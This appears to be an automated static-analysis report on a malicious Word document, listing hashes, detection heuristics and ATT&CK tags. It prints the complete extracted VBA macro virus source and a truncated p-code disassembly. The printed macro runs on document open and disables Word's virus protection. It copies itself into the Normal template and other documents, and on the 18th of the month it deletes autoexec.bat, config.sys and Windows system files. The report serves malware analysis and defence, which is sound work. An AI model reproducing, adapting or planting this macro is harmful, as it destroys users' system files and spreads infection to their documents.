Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90989eb1eab5aa32…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-11-13 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3b264ef61fe3be1554ef657cd439602a SHA-1: 54dc456851c9ec863ba70518cf916a527178ced1 SHA-256: 90989eb1eab5aa32da405fdada69b2b19102bcf1609ed4954baa2367ff60af98
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed via the Document_Open subroutine. This macro attempts to copy its own code to 'c:\windows\temp\temp.asc' and conditionally deletes system files like 'c:\autoexec.bat' and 'c:\windows\system.*'. The presence of the Document_Open macro and the detection by ClamAV as 'Doc.Trojan.Ethan-20' strongly indicate malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6758 bytes
SHA-256: 2b3e4332e6ceed66d5acb63efaad613cdb15601afe6217ddfb4f2e2001c6dab1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("c:\windows\temp\temp.asc", 0) = "" Then
Open "c:\windows\temp\temp.asc" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\windows\temp\temp.asc", 1
End If
Dim Heute, Tag
Heute = Now
Tag = Day(Heute)
If Tag = 18 Then
Kill "c:\autoexec.bat"
Kill "c:\config.sys"
Kill "c:\windows\system.*"
Kill "c:\windows\user.*"
Kill "c:\windows32\system.*"
Kill "c:\windows32\user.*"
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Open()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Open()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\windows\temp\temp.asc" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
With Dialogs(wdDialogFileSummaryInfo): .Title = "Total Annihilation": .Author = "Cavedog Ent.": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Dokument" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

' Processing file: /opt/analyzer/scan_staging/84d8d2a1b1e343c5973832373a51b556.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3715 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	LitStr 0x0018 "c:\windows\temp\temp.asc"
' 	LitDI2 0x0000 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitStr 0x0018 "c:\windows\temp\temp.asc"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #8:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #10:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #11:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #12:
' 	LitStr 0x0018 "c:\windows\temp\temp.asc"
' 	LitDI2 0x0001 
' 	ArgsCall SetAttr 0x0002 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	Dim 
' 	VarDefn Heute
' 	VarDefn Tag
' Line #15:
' 	Ld Now 
' 	St Heute 
' Line #16:
' 	Ld Heute 
' 	ArgsLd Day 0x0001 
' 	St Tag 
' Line #17:
' 	Ld Tag 
' 	LitDI2 0x0012 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	ArgsCall Kill 0x0001 
' Line #19:
' 	LitStr 0x000D "c:\config.sys"
' 	ArgsCall Kill 0x0001 
' Line #20:
' 	LitStr 0x0013 "c:\windows\system.*"
' 	ArgsCall Kill 0x0001 
' Line #21:
' 	LitStr 0
... (truncated)